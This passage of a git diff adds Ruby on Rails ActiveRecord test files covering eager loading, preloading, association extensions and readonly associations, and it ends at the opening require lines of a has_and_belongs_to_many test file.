+    end
+  end
+
+  def test_eager_association_loading_with_habtm
+    posts = Post.all.merge!(includes: :categories, order: "posts.id").to_a
+    assert_equal 2, posts[0].categories.size
+    assert_equal 1, posts[1].categories.size
+    assert_equal 0, posts[2].categories.size
+    assert_includes posts[0].categories, categories(:technology)
+    assert_includes posts[1].categories, categories(:general)
+  end
+
+  def test_eager_with_inheritance
+    SpecialPost.all.merge!(includes: [ :comments ]).to_a
+  end
+
+  def test_eager_has_one_with_association_inheritance
+    post = Post.all.merge!(includes: [ :very_special_comment ]).find(4)
+    assert_equal "VerySpecialComment", post.very_special_comment.class.to_s
+  end
+
+  def test_eager_has_many_with_association_inheritance
+    post = Post.all.merge!(includes: [ :special_comments ]).find(4)
+    post.special_comments.each do |special_comment|
+      assert special_comment.is_a?(SpecialComment)
+    end
+  end
+
+  def test_eager_habtm_with_association_inheritance
+    post = Post.all.merge!(includes: [ :special_categories ]).find(6)
+    assert_equal 1, post.special_categories.size
+    post.special_categories.each do |special_category|
+      assert_equal "SpecialCategory", special_category.class.to_s
+    end
+  end
+
+  def test_eager_with_has_one_dependent_does_not_destroy_dependent
+    assert_not_nil companies(:first_firm).account
+    f = Firm.all.merge!(includes: :account,
+            where: ["companies.name = ?", "37signals"]).first
+    assert_not_nil f.account
+    assert_equal companies(:first_firm, :reload).account, f.account
+  end
+
+  def test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size
+    author = authors(:david)
+    posts_with_no_comments = author.posts.select { |post| post.comments.blank? }
+    assert_equal posts_with_no_comments.size, author.posts_with_no_comments.size
+    assert_equal posts_with_no_comments, author.posts_with_no_comments
+  end
+
+  def test_eager_with_invalid_association_reference
+    e = assert_raise(ActiveRecord::AssociationNotFoundError) {
+      Post.all.merge!(includes: :monkeys).find(6)
+    }
+    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+
+    e = assert_raise(ActiveRecord::AssociationNotFoundError) {
+      Post.all.merge!(includes: [ :monkeys ]).find(6)
+    }
+    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+
+    e = assert_raise(ActiveRecord::AssociationNotFoundError) {
+      Post.all.merge!(includes: [ "monkeys" ]).find(6)
+    }
+    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+
+    e = assert_raise(ActiveRecord::AssociationNotFoundError) {
+      Post.all.merge!(includes: [ :monkeys, :elephants ]).find(6)
+    }
+    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+  end
+
+  def test_eager_has_many_through_with_order
+    tag = OrderedTag.create(name: "Foo")
+    post1 = Post.create!(title: "Beaches", body: "I like beaches!")
+    post2 = Post.create!(title: "Pools", body: "I like pools!")
+
+    Tagging.create!(taggable_type: "Post", taggable_id: post1.id, tag: tag)
+    Tagging.create!(taggable_type: "Post", taggable_id: post2.id, tag: tag)
+
+    tag_with_includes = OrderedTag.includes(:tagged_posts).find(tag.id)
+    assert_equal(tag_with_includes.taggings.map(&:taggable).map(&:title), tag_with_includes.tagged_posts.map(&:title))
+  end
+
+  def test_eager_has_many_through_multiple_with_order
+    tag1 = OrderedTag.create!(name: "Bar")
+    tag2 = OrderedTag.create!(name: "Foo")
+
+    post1 = Post.create!(title: "Beaches", body: "I like beaches!")
+    post2 = Post.create!(title: "Pools", body: "I like pools!")
+
+    Tagging.create!(taggable: post1, tag: tag1)
+    Tagging.create!(taggable: post2, tag: tag1)
+    Tagging.create!(taggable: post2, tag: tag2)
+    Tagging.create!(taggable: post1, tag: tag2)
+
+    tags_with_includes = OrderedTag.where(id: [tag1, tag2].map(&:id)).includes(:tagged_posts).order(:id).to_a
+    tag1_with_includes = tags_with_includes.first
+    tag2_with_includes = tags_with_includes.last
+
+    assert_equal([post2, post1].map(&:title), tag1_with_includes.tagged_posts.map(&:title))
+    assert_equal([post1, post2].map(&:title), tag2_with_includes.tagged_posts.map(&:title))
+  end
+
+  def test_eager_with_default_scope
+    developer = EagerDeveloperWithDefaultScope.where(name: "David").first
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_class_method
+    developer = EagerDeveloperWithClassMethodDefaultScope.where(name: "David").first
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_class_method_using_find_method
+    david = developers(:david)
+    developer = EagerDeveloperWithClassMethodDefaultScope.find(david.id)
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_class_method_using_find_by_method
+    developer = EagerDeveloperWithClassMethodDefaultScope.find_by(name: "David")
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_lambda
+    developer = EagerDeveloperWithLambdaDefaultScope.where(name: "David").first
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_block
+    # warm up the habtm cache
+    EagerDeveloperWithBlockDefaultScope.where(name: "David").first.projects
+    developer = EagerDeveloperWithBlockDefaultScope.where(name: "David").first
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def test_eager_with_default_scope_as_callable
+    developer = EagerDeveloperWithCallableDefaultScope.where(name: "David").first
+    projects = Project.order(:id).to_a
+    assert_no_queries do
+      assert_equal(projects, developer.projects)
+    end
+  end
+
+  def find_all_ordered(className, include = nil)
+    className.all.merge!(order: "#{className.table_name}.#{className.primary_key}", includes: include).to_a
+  end
+
+  def test_limited_eager_with_order
+    assert_equal(
+      posts(:thinking, :sti_comments),
+      Post.all.merge!(
+        includes: [:author, :comments], where: { "authors.name" => "David" },
+        order: "UPPER(posts.title)", limit: 2, offset: 1
+      ).to_a
+    )
+    assert_equal(
+      posts(:sti_post_and_comments, :sti_comments),
+      Post.all.merge!(
+        includes: [:author, :comments], where: { "authors.name" => "David" },
+        order: "UPPER(posts.title) DESC", limit: 2, offset: 1
+      ).to_a
+    )
+  end
+
+  def test_limited_eager_with_multiple_order_columns
+    assert_equal(
+      posts(:thinking, :sti_comments),
+      Post.all.merge!(
+        includes: [:author, :comments], where: { "authors.name" => "David" },
+        order: ["UPPER(posts.title)", "posts.id"], limit: 2, offset: 1
+      ).to_a
+    )
+    assert_equal(
+      posts(:sti_post_and_comments, :sti_comments),
+      Post.all.merge!(
+        includes: [:author, :comments], where: { "authors.name" => "David" },
+        order: ["UPPER(posts.title) DESC", "posts.id"], limit: 2, offset: 1
+      ).to_a
+    )
+  end
+
+  def test_limited_eager_with_numeric_in_association
+    assert_equal(
+      people(:david, :susan),
+      Person.references(:number1_fans_people).merge(
+        includes: [:readers, :primary_contact, :number1_fan],
+        where: "number1_fans_people.first_name like 'M%'",
+        order: "people.id", limit: 2, offset: 0
+      ).to_a
+    )
+  end
+
+  def test_polymorphic_type_condition
+    post = Post.all.merge!(includes: :taggings).find(posts(:thinking).id)
+    assert_includes post.taggings, taggings(:thinking_general)
+    post = SpecialPost.all.merge!(includes: :taggings).find(posts(:thinking).id)
+    assert_includes post.taggings, taggings(:thinking_general)
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_has_many_and_habtm
+    # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
+    def assert_equal_after_sort(item1, item2, item3 = nil)
+      assert_equal(item1.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id })
+      assert_equal(item3.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id }) if item3
+    end
+    # Test regular association, association with conditions, association with
+    # STI, and association with conditions assured not to be true
+    post_types = [:posts, :other_posts, :special_posts]
+    # test both has_many and has_and_belongs_to_many
+    [Author, Category].each do |className|
+      d1 = find_all_ordered(className)
+      # test including all post types at once
+      d2 = find_all_ordered(className, post_types)
+      d1.each_index do |i|
+        assert_equal(d1[i], d2[i])
+        assert_equal_after_sort(d1[i].posts, d2[i].posts)
+        post_types[1..-1].each do |post_type|
+          # test including post_types together
+          d3 = find_all_ordered(className, [:posts, post_type])
+          assert_equal(d1[i], d3[i])
+          assert_equal_after_sort(d1[i].posts, d3[i].posts)
+          assert_equal_after_sort(d1[i].send(post_type), d2[i].send(post_type), d3[i].send(post_type))
+        end
+      end
+    end
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_has_one
+    d1 = find_all_ordered(Firm)
+    d2 = find_all_ordered(Firm, :account)
+    d1.each_index do |i|
+      assert_equal(d1[i], d2[i])
+      if d1[i].account.nil?
+        assert_nil(d2[i].account)
+      else
+        assert_equal(d1[i].account, d2[i].account)
+      end
+    end
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_belongs_to
+    firm_types = [:firm, :firm_with_basic_id, :firm_with_other_name, :firm_with_condition]
+    d1 = find_all_ordered(Client)
+    d2 = find_all_ordered(Client, firm_types)
+    d1.each_index do |i|
+      assert_equal(d1[i], d2[i])
+      firm_types.each do |type|
+        if (expected = d1[i].send(type)).nil?
+          assert_nil(d2[i].send(type))
+        else
+          assert_equal(expected, d2[i].send(type))
+        end
+      end
+    end
+  end
+  def test_eager_with_valid_association_as_string_not_symbol
+    assert_nothing_raised { Post.all.merge!(includes: "comments").to_a }
+  end
+
+  def test_eager_with_floating_point_numbers
+    assert_queries(2) do
+      # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
+      Comment.all.merge!(where: "123.456 = 123.456", includes: :post).to_a
+    end
+  end
+
+  def test_preconfigured_includes_with_belongs_to
+    author = posts(:welcome).author_with_posts
+    assert_no_queries { assert_equal 5, author.posts.size }
+  end
+
+  def test_preconfigured_includes_with_has_one
+    comment = posts(:sti_comments).very_special_comment_with_post
+    assert_no_queries { assert_equal posts(:sti_comments), comment.post }
+  end
+
+  def test_eager_association_with_scope_with_joins
+    assert_nothing_raised do
+      Post.includes(:very_special_comment_with_post_with_joins).to_a
+    end
+  end
+
+  def test_preconfigured_includes_with_has_many
+    posts = authors(:david).posts_with_comments
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.comments.size
+    end
+  end
+
+  def test_preconfigured_includes_with_habtm
+    posts = authors(:david).posts_with_categories
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.categories.size
+    end
+  end
+
+  def test_preconfigured_includes_with_has_many_and_habtm
+    posts = authors(:david).posts_with_comments_and_categories
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.comments.size
+      assert_equal 2, one.categories.size
+    end
+  end
+
+  def test_count_with_include
+    assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+  end
+
+  def test_association_loading_notification
+    notifications = messages_for("instantiation.active_record") do
+      Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a.size
+    end
+
+    message = notifications.first
+    payload = message.last
+    count = Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a.size
+
+    # eagerloaded row count should be greater than just developer count
+    assert_operator payload[:record_count], :>, count
+    assert_equal Developer.name, payload[:class_name]
+  end
+
+  def test_base_messages
+    notifications = messages_for("instantiation.active_record") do
+      Developer.all.to_a
+    end
+    message = notifications.first
+    payload = message.last
+
+    assert_equal Developer.all.to_a.count, payload[:record_count]
+    assert_equal Developer.name, payload[:class_name]
+  end
+
+  def messages_for(name)
+    notifications = []
+    ActiveSupport::Notifications.subscribe(name) do |*args|
+      notifications << args
+    end
+    yield
+    notifications
+  ensure
+    ActiveSupport::Notifications.unsubscribe(name)
+  end
+
+  def test_load_with_sti_sharing_association
+    assert_queries(2) do #should not do 1 query per subclass
+      Comment.includes(:post).to_a
+    end
+  end
+
+  def test_conditions_on_join_table_with_include_and_limit
+    assert_equal 3, Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a.size
+  end
+
+  def test_dont_create_temporary_active_record_instances
+    Developer.instance_count = 0
+    developers = Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a
+    assert_equal developers.count, Developer.instance_count
+  end
+
+  def test_order_on_join_table_with_include_and_limit
+    assert_equal 5, Developer.all.merge!(includes: "projects", order: "developers_projects.joined_on DESC", limit: 5).to_a.size
+  end
+
+  def test_eager_loading_with_order_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.all.merge!(joins: :comments, includes: :author, order: "comments.id DESC").to_a
+    end
+    assert_equal posts(:eager_other), posts[1]
+    assert_equal authors(:mary), assert_no_queries { posts[1].author }
+  end
+
+  def test_eager_loading_with_conditions_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.all.merge!(select: "distinct posts.*", includes: :author, joins: [:comments], where: "comments.body like 'Thank you%'", order: "posts.id").to_a
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author }
+
+    posts = assert_queries(2) do
+      Post.all.merge!(includes: :author, joins: { taggings: :tag }, where: "tags.name = 'General'", order: "posts.id").to_a
+    end
+    assert_equal posts(:welcome, :thinking), posts
+
+    posts = assert_queries(2) do
+      Post.all.merge!(includes: :author, joins: { taggings: { tag: :taggings } }, where: "taggings_tags.super_tag_id=2", order: "posts.id").to_a
+    end
+    assert_equal posts(:welcome, :thinking), posts
+  end
+
+  def test_preload_has_many_with_association_condition_and_default_scope
+    post = Post.create!(title: "Beaches", body: "I like beaches!")
+    Reader.create! person: people(:david), post: post
+    LazyReader.create! person: people(:susan), post: post
+
+    assert_equal 1, post.lazy_readers.to_a.size
+    assert_equal 2, post.lazy_readers_skimmers_or_not.to_a.size
+
+    post_with_readers = Post.includes(:lazy_readers_skimmers_or_not).find(post.id)
+    assert_equal 2, post_with_readers.lazy_readers_skimmers_or_not.to_a.size
+  end
+
+  def test_eager_loading_with_conditions_on_string_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.all.merge!(select: "distinct posts.*", includes: :author, joins: "INNER JOIN comments on comments.post_id = posts.id", where: "comments.body like 'Thank you%'", order: "posts.id").to_a
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author }
+
+    posts = assert_queries(2) do
+      Post.all.merge!(select: "distinct posts.*", includes: :author, joins: ["INNER JOIN comments on comments.post_id = posts.id"], where: "comments.body like 'Thank you%'", order: "posts.id").to_a
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author }
+  end
+
+  def test_eager_loading_with_select_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.all.merge!(select: "posts.*, authors.name as author_name", includes: :comments, joins: :author, order: "posts.id").to_a
+    end
+    assert_equal "David", posts[0].author_name
+    assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments }
+  end
+
+  def test_eager_loading_with_conditions_on_join_model_preloads
+    authors = assert_queries(2) do
+      Author.all.merge!(includes: :author_address, joins: :comments, where: "posts.title like 'Welcome%'").to_a
+    end
+    assert_equal authors(:david), authors[0]
+    assert_equal author_addresses(:david_address), authors[0].author_address
+  end
+
+  def test_preload_belongs_to_uses_exclusive_scope
+    people = Person.males.merge(includes: :primary_contact).to_a
+    assert_not_equal people.length, 0
+    people.each do |person|
+      assert_no_queries { assert_not_nil person.primary_contact }
+      assert_equal Person.find(person.id).primary_contact, person.primary_contact
+    end
+  end
+
+  def test_preload_has_many_uses_exclusive_scope
+    people = Person.males.includes(:agents).to_a
+    people.each do |person|
+      assert_equal Person.find(person.id).agents, person.agents
+    end
+  end
+
+  def test_preload_has_many_using_primary_key
+    expected = Firm.first.clients_using_primary_key.to_a
+    firm = Firm.includes(:clients_using_primary_key).first
+    assert_no_queries do
+      assert_equal expected, firm.clients_using_primary_key
+    end
+  end
+
+  def test_include_has_many_using_primary_key
+    expected = Firm.find(1).clients_using_primary_key.sort_by(&:name)
+    # Oracle adapter truncates alias to 30 characters
+    if current_adapter?(:OracleAdapter)
+      firm = Firm.all.merge!(includes: :clients_using_primary_key, order: "clients_using_primary_keys_companies"[0, 30] + ".name").find(1)
+    else
+      firm = Firm.all.merge!(includes: :clients_using_primary_key, order: "clients_using_primary_keys_companies.name").find(1)
+    end
+    assert_no_queries do
+      assert_equal expected, firm.clients_using_primary_key
+    end
+  end
+
+  def test_preload_has_one_using_primary_key
+    expected = accounts(:signals37)
+    firm = Firm.all.merge!(includes: :account_using_primary_key, order: "companies.id").first
+    assert_no_queries do
+      assert_equal expected, firm.account_using_primary_key
+    end
+  end
+
+  def test_include_has_one_using_primary_key
+    expected = accounts(:signals37)
+    firm = Firm.all.merge!(includes: :account_using_primary_key, order: "accounts.id").to_a.detect { |f| f.id == 1 }
+    assert_no_queries do
+      assert_equal expected, firm.account_using_primary_key
+    end
+  end
+
+  def test_preloading_empty_belongs_to
+    c = Client.create!(name: "Foo", client_of: Company.maximum(:id) + 1)
+
+    client = assert_queries(2) { Client.preload(:firm).find(c.id) }
+    assert_no_queries { assert_nil client.firm }
+  end
+
+  def test_preloading_empty_belongs_to_polymorphic
+    t = Tagging.create!(taggable_type: "Post", taggable_id: Post.maximum(:id) + 1, tag: tags(:general))
+
+    tagging = assert_queries(2) { Tagging.preload(:taggable).find(t.id) }
+    assert_no_queries { assert_nil tagging.taggable }
+  end
+
+  def test_preloading_through_empty_belongs_to
+    c = Client.create!(name: "Foo", client_of: Company.maximum(:id) + 1)
+
+    client = assert_queries(2) { Client.preload(:accounts).find(c.id) }
+    assert_no_queries { assert client.accounts.empty? }
+  end
+
+  def test_preloading_has_many_through_with_distinct
+    mary = Author.includes(:unique_categorized_posts).where(id: authors(:mary).id).first
+    assert_equal 1, mary.unique_categorized_posts.length
+    assert_equal 1, mary.unique_categorized_post_ids.length
+  end
+
+  def test_preloading_has_one_using_reorder
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "TempAuthor"; end
+      self.table_name = "authors"
+      has_one :post, class_name: "PostWithDefaultScope", foreign_key: :author_id
+      has_one :reorderd_post, -> { reorder(title: :desc) }, class_name: "PostWithDefaultScope", foreign_key: :author_id
+    end
+
+    author = klass.first
+    # PRECONDITION: make sure ordering results in different results
+    assert_not_equal author.post, author.reorderd_post
+
+    preloaded_reorderd_post = klass.preload(:reorderd_post).first.reorderd_post
+
+    assert_equal author.reorderd_post, preloaded_reorderd_post
+    assert_equal Post.order(title: :desc).first.title, preloaded_reorderd_post.title
+  end
+
+  def test_preloading_polymorphic_with_custom_foreign_type
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    groucho = members(:groucho)
+
+    sponsor = assert_queries(2) {
+      Sponsor.includes(:thing).where(id: sponsor.id).first
+    }
+    assert_no_queries { assert_equal groucho, sponsor.thing }
+  end
+
+  def test_joins_with_includes_should_preload_via_joins
+    post = assert_queries(1) { Post.includes(:comments).joins(:comments).order("posts.id desc").to_a.first }
+
+    assert_queries(0) do
+      assert_not_equal 0, post.comments.to_a.count
+    end
+  end
+
+  def test_join_eager_with_empty_order_should_generate_valid_sql
+    assert_nothing_raised do
+      Post.includes(:comments).order("").where(comments: { body: "Thank you for the welcome" }).first
+    end
+  end
+
+  def test_deep_including_through_habtm
+    # warm up habtm cache
+    posts = Post.all.merge!(includes: { categories: :categorizations }, order: "posts.id").to_a
+    posts[0].categories[0].categorizations.length
+
+    posts = Post.all.merge!(includes: { categories: :categorizations }, order: "posts.id").to_a
+    assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
+    assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
+    assert_no_queries { assert_equal 2, posts[1].categories[0].categorizations.length }
+  end
+
+  def test_eager_load_multiple_associations_with_references
+    mentor = Mentor.create!(name: "Barış Can DAYLIK")
+    developer = Developer.create!(name: "Mehmet Emin İNAÇ", mentor: mentor)
+    Contract.create!(developer: developer)
+    project = Project.create!(name: "VNGRS", mentor: mentor)
+    project.developers << developer
+    projects = Project.references(:mentors).includes(mentor: { developers: :contracts }, developers: :contracts)
+    assert_equal projects.last.mentor.developers.first.contracts, projects.last.developers.last.contracts
+  end
+
+  test "scoping with a circular preload" do
+    assert_equal Comment.find(1), Comment.preload(post: :comments).scoping { Comment.find(1) }
+  end
+
+  test "circular preload does not modify unscoped" do
+    expected = FirstPost.unscoped.find(2)
+    FirstPost.preload(comments: :first_post).find(1)
+    assert_equal expected, FirstPost.unscoped.find(2)
+  end
+
+  test "preload ignores the scoping" do
+    assert_equal(
+      Comment.find(1).post,
+      Post.where("1 = 0").scoping { Comment.preload(:post).find(1).post }
+    )
+  end
+
+  test "deep preload" do
+    post = Post.preload(author: :posts, comments: :post).first
+
+    assert_predicate post.author.association(:posts), :loaded?
+    assert_predicate post.comments.first.association(:post), :loaded?
+  end
+
+  test "preloading does not cache has many association subset when preloaded with a through association" do
+    author = Author.includes(:comments_with_order_and_conditions, :posts).first
+    assert_no_queries { assert_equal 2, author.comments_with_order_and_conditions.size }
+    assert_no_queries { assert_equal 5, author.posts.size, "should not cache a subset of the association" }
+  end
+
+  test "preloading a through association twice does not reset it" do
+    members = Member.includes(current_membership: :club).includes(:club).to_a
+    assert_no_queries {
+      assert_equal 3, members.map(&:current_membership).map(&:club).size
+    }
+  end
+
+  test "works in combination with order(:symbol) and reorder(:symbol)" do
+    author = Author.includes(:posts).references(:posts).order(:name).find_by("posts.title IS NOT NULL")
+    assert_equal authors(:bob), author
+
+    author = Author.includes(:posts).references(:posts).reorder(:name).find_by("posts.title IS NOT NULL")
+    assert_equal authors(:bob), author
+  end
+
+  test "preloading with a polymorphic association and using the existential predicate but also using a select" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).select(:name).any?
+    end
+  end
+
+  test "preloading the same association twice works" do
+    Member.create!
+    members = Member.preload(:current_membership).includes(current_membership: :club).all.to_a
+    assert_no_queries {
+      members_with_membership = members.select(&:current_membership)
+      assert_equal 3, members_with_membership.map(&:current_membership).map(&:club).size
+    }
+  end
+
+  test "preloading with a polymorphic association and using the existential predicate" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).any?
+      authors(:david).essays.includes(:writer).exists?
+      authors(:david).essays.includes(:owner).where("name IS NOT NULL").exists?
+    end
+  end
+
+  test "preloading associations with string joins and order references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
+    }
+    assert_no_queries {
+      assert_equal 5, author.posts.size
+    }
+  end
+
+  test "including associations with where.not adds implicit references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).where.not(posts: { title: "Welcome to the weblog" }).last
+    }
+
+    assert_no_queries {
+      assert_equal 2, author.posts.size
+    }
+  end
+
+  test "including association based on sql condition and no database column" do
+    assert_equal pets(:parrot), Owner.including_last_pet.first.last_pet
+  end
+
+  test "preloading and eager loading of instance dependent associations is not supported" do
+    message = "association scope 'posts_with_signature' is"
+    error = assert_raises(ArgumentError) do
+      Author.includes(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+
+    error = assert_raises(ArgumentError) do
+      Author.preload(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+
+    error = assert_raises(ArgumentError) do
+      Author.eager_load(:posts_with_signature).to_a
+    end
+    assert_match message, error.message
+  end
+
+  test "preload with invalid argument" do
+    exception = assert_raises(ArgumentError) do
+      Author.preload(10).to_a
+    end
+    assert_equal("10 was not recognized for preload", exception.message)
+  end
+
+  test "associations with extensions are not instance dependent" do
+    assert_nothing_raised do
+      Author.includes(:posts_with_extension).to_a
+    end
+  end
+
+  test "including associations with extensions and an instance dependent scope is not supported" do
+    e = assert_raises(ArgumentError) do
+      Author.includes(:posts_with_extension_and_instance).to_a
+    end
+    assert_match(/Preloading instance dependent scopes is not supported/, e.message)
+  end
+
+  test "preloading readonly association" do
+    # has-one
+    firm = Firm.where(id: "1").preload(:readonly_account).first!
+    assert firm.readonly_account.readonly?
+
+    # has_and_belongs_to_many
+    project = Project.where(id: "2").preload(:readonly_developers).first!
+    assert project.readonly_developers.first.readonly?
+
+    # has-many :through
+    david = Author.where(id: "1").preload(:readonly_comments).first!
+    assert david.readonly_comments.first.readonly?
+  end
+
+  test "eager-loading non-readonly association" do
+    # has_one
+    firm = Firm.where(id: "1").eager_load(:account).first!
+    assert_not firm.account.readonly?
+
+    # has_and_belongs_to_many
+    project = Project.where(id: "2").eager_load(:developers).first!
+    assert_not project.developers.first.readonly?
+
+    # has_many :through
+    david = Author.where(id: "1").eager_load(:comments).first!
+    assert_not david.comments.first.readonly?
+
+    # belongs_to
+    post = Post.where(id: "1").eager_load(:author).first!
+    assert_not post.author.readonly?
+  end
+
+  test "eager-loading readonly association" do
+    # has-one
+    firm = Firm.where(id: "1").eager_load(:readonly_account).first!
+    assert firm.readonly_account.readonly?
+
+    # has_and_belongs_to_many
+    project = Project.where(id: "2").eager_load(:readonly_developers).first!
+    assert project.readonly_developers.first.readonly?
+
+    # has-many :through
+    david = Author.where(id: "1").eager_load(:readonly_comments).first!
+    assert david.readonly_comments.first.readonly?
+
+    # belongs_to
+    post = Post.where(id: "1").eager_load(:readonly_author).first!
+    assert post.readonly_author.readonly?
+  end
+
+  test "preloading a polymorphic association with references to the associated table" do
+    post = Post.includes(:tags).references(:tags).where("tags.name = ?", "General").first
+    assert_equal posts(:welcome), post
+  end
+
+  test "eager-loading a polymorphic association with references to the associated table" do
+    post = Post.eager_load(:tags).where("tags.name = ?", "General").first
+    assert_equal posts(:welcome), post
+  end
+
+  # CollectionProxy#reader is expensive, so the preloader avoids calling it.
+  test "preloading has_many_through association avoids calling association.reader" do
+    ActiveRecord::Associations::HasManyAssociation.any_instance.expects(:reader).never
+    Author.preload(:readonly_comments).first!
+  end
+end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
new file mode 100644
index 0000000000..5eacb5a3d8
--- /dev/null
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/project"
+require "models/developer"
+require "models/computer"
+require "models/company_in_module"
+
+class AssociationsExtensionsTest < ActiveRecord::TestCase
+  fixtures :projects, :developers, :developers_projects, :comments, :posts
+
+  def test_extension_on_has_many
+    assert_equal comments(:more_greetings), posts(:welcome).comments.find_most_recent
+  end
+
+  def test_extension_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects.find_most_recent
+  end
+
+  def test_named_extension_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name.find_most_recent
+  end
+
+  def test_named_two_extensions_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_twice.find_most_recent
+    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_twice.find_least_recent
+  end
+
+  def test_named_extension_and_block_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_and_block.find_most_recent
+    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_and_block.find_least_recent
+  end
+
+  def test_extension_with_scopes
+    assert_equal comments(:greetings), posts(:welcome).comments.offset(1).find_most_recent
+    assert_equal comments(:greetings), posts(:welcome).comments.not_again.find_most_recent
+  end
+
+  def test_extension_with_dirty_target
+    comment = posts(:welcome).comments.build(body: "New comment")
+    assert_equal comment, posts(:welcome).comments.with_content("New comment")
+  end
+
+  def test_marshalling_extensions
+    david = developers(:david)
+    assert_equal projects(:action_controller), david.projects.find_most_recent
+
+    marshalled = Marshal.dump(david)
+
+    # Marshaling an association shouldn't make it unusable by wiping its reflection.
+    assert_not_nil david.association(:projects).reflection
+
+    david_too = Marshal.load(marshalled)
+    assert_equal projects(:action_controller), david_too.projects.find_most_recent
+  end
+
+  def test_marshalling_named_extensions
+    david = developers(:david)
+    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+
+    marshalled = Marshal.dump(david)
+    david      = Marshal.load(marshalled)
+
+    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+  end
+
+  def test_extension_name
+    extend!(Developer)
+    extend!(MyApplication::Business::Developer)
+
+    assert Object.const_get "DeveloperAssociationNameAssociationExtension"
+    assert MyApplication::Business.const_get "DeveloperAssociationNameAssociationExtension"
+  end
+
+  def test_proxy_association_after_scoped
+    post = posts(:welcome)
+    assert_equal post.association(:comments), post.comments.the_association
+    assert_equal post.association(:comments), post.comments.where("1=1").the_association
+  end
+
+  def test_association_with_default_scope
+    assert_raises OopsError do
+      posts(:welcome).comments.destroy_all
+    end
+  end
+
+  private
+
+    def extend!(model)
+      ActiveRecord::Associations::Builder::HasMany.define_extensions(model, :association_name) {}
+    end
+end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
new file mode 100644
index 0000000000..979dd986de
--- /dev/null
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -0,0 +1,1033 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/company"
+require "models/course"
+require "models/customer"
+require "models/order"
+require "models/categorization"
+require "models/category"
+require "models/post"
+require "models/author"
+require "models/tag"
+require "models/tagging"
+require "models/parrot"
+require "models/person"
+require "models/pirate"
+require "models/professor"
+require "models/treasure"
